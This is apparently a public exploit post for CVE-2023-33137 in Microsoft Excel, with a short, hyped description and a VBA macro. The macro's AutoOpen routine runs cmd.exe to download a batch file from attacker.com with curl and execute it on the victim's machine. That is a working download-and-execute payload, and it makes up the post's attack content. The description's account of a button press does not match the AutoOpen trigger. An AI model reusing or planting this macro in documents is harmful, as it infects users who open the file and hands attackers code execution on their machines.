## Author: nu11secur1ty
## Date: 06.27.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/excel
## Reference: https://portswigger.net/daily-swig/rce
## CVE-2023-33137


## Description:
This exploit is connected with third part exploit server, which waits
for the victim to call him and execute the content from him using the
pipe posting method! This is absolutely a 0-day exploit! This is
absolutely dangerous for the victims, who are infected by him!
When the victim hit the button in the Excel file, it makes a POST
request to the exploit server, and the server is responding back that
way: He creates another hidden malicious file and executed it directly
on the machine of the victim, then everything is disappeared, so
nasty.

STATUS: HIGH Vulnerability WARNING: THIS IS VERY DANGER for the usual users!

[+]Exploit:
```vbs
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/nu11secur1ty/somwhere/ontheinternet/maloumnici.bat
> maloumnici.bat && .\maloumnici.bat", vbNormalFocus)
End Sub
